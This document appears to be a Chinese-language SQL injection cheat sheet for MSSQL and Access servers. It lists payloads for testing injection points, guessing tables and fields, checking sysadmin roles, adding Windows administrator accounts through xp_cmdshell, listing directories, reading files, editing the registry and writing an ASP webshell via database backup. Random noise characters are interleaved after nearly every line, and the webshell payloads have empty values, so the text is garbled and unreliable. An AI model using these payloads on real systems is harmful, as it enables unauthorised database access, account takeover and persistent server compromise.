1.判断是否有注入;and 1=1 ;and 1=2 kS:#|yY8%
2.初步判断是否是mssql ;and user>0 d]"4aS
#/f~LTE
3.注入参数是字符'and [查询条件] and ''=' _#s,$K#
VqpC@C$
4.搜索时没过滤参数的'and [查询条件] and '%25'=' )1KyUQ\e
qq]Iy=
5.判断数据库系统 X<P
<-e9
nS*Y+Q^9a
;and (select count(*) from sysobjects)>0 mssql \ "$$c
)<:TpMdUk
;and (select count(*) from msysobjects)>0 access .\glNH1d
T9H*]LxK
L/V^ #$
UNff&E-
6.猜数据库 ;and (select Count(*) from [数据库名])>0 KP>9hEh
W>)0=8#\
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 %&|
uT
Zrr)<'!i
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Cul=,;pkB
q*3keB;X
9.(1)猜字段的ascii值(access) Jt@lH
RbXR/Rd
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 O6R)>Y4
ElV!C}g
(2)猜字段的ascii值(mssql) 5;U Iz@BJ
-6HwGfU
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 xI{4<m/0N
q`b6if"
10.测试权限结构(mssql) Z,A $h>Z
dQ.#8o=
UI+6\ 3
O'mcN*
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- MmR6V#@:
]f0'YLG
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- .Dr!\.hL
c{BAQZVc
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- wG3b{0
=abcLrf2G
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- jk03 Hd
bj`\;_oo
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2!Dz9m3
E,}{ iqAb
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7|DG1p9C
v{VF>qEP
;and 1=(select IS_MEMBER('db_owner'));-- og5VB
)hXTgUZa
*WQ?r&[_'
6FA+qYSV
11.添加mssql和系统的帐户 o8 JOpD
<$0is:]
;exec master.dbo.sp_addlogin username;-- 4a+gM._+O
;exec master.dbo.sp_password null,username,password;-- b-sN#'TDg
Pwl*5/l
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- '|[V}K5m/f
<m]0!ii
;exec master.dbo.xp_cmdshell 'net user username password d-D,Gx]>$
yx :^*/
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- fY[Fwjj3
1^![8>u"
;exec master.dbo.xp_cmdshell 'net user username password /add';-- "w'pIUQ3,
,PTM'O@aU#
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- *9^8NY]
ahg:mlaob
A'DFY {
I)Xf4FS@
12.(1)遍历目录 ]P0%S@]
&v{#yzM
;create table dirs(paths varchar(100), id int) gEd A
hfx
e0zP LU}
;insert dirs exec master.dbo.xp_dirtree 'c:\' Z8#nu
7~e,"^>T
;and (select top 1 paths from dirs)>0 @M5+12FYt
Lt't
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) N}?|ik
GfE>?mG
d:(Ex^^
L,[Q/$S8
(2)遍历目录 a)QT#.
1;ttwF>G7
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9|1msg4
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $r/$aq=K
}qn>#ETi
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 .N X9Ab
G%
tlV&In
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ws'e
.Vbd-jr'M
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0K%okq|n
u7L?9
dLiiJ6pl*
tYu<(Z(l)
13.mssql中的存储过程 'x*C#mt
bY" zK',m
xp_regenumvalues 注册表根键, 子键 $oBs%.Jp
>Ku4Il+36
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 :?6HG_9X
~)U50.CH
xp_regread 根键,子键,键值名 &Hb%Q! ^Kb
"lh4Vg\7n
;exec xp_regread
J=`
8
tO M$'0u
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 <fvu)
f
41X`.
xp_regwrite 根键,子键, 值名, 值类型, 值 4&mY-N7A
JbPkC*.
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 dy&G~F28
,hn#DJ)
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9 C[~*,qx
Nk7y2[
xp_regdeletevalue 根键,子键,值名 {rc3`<%
Q,KNZxT,q
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 hIe .Mv-I)
ywwA,9~
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 |Ea%nghl
Bl b#h
0/R;g~q@
f .O^R~,
14.mssql的backup创建webshell Kb%Y%j
=XR~I
use model W=+n|1
@xWWN
create table cmd(str image); Bb/if:XS
?'> .>
insert into cmd(str) values (''); rN}pi@
&
kC
backup database model to disk='c:\l.asp'; /~NX<Ye&
A6z,6v6
(47?lw
&
4Zbn8GpC
15.mssql内置函数 {=GmXd%D
X
_ZO)|
;and (select @@version)>0 获得Windows的版本号 D6bYg `
|+
F ~zIu'
;and user_name()='dbo' 判断当前系统的连接用户是不是sa syl7i>P
W.j^L;
;and (select user_name())>0 爆当前系统的连接用户 _k@cs^
$JY\q2
;and (select db_name())>0 得到当前连接的数据库 [7I:Dm
dA)T>
jFN0xGZ
wn[)/*(,$(
16.简洁的webshell L$PbC!1
`+,?%W)
use model p1UloG\
a=MN:s?Fc0
create table cmd(str image); 0s;~9>
xS|9Gk
insert into cmd(str) values (''); Lz 1.+:Ag
w/#7G\U
backup database model to disk='g:\wwwtest\l.asp';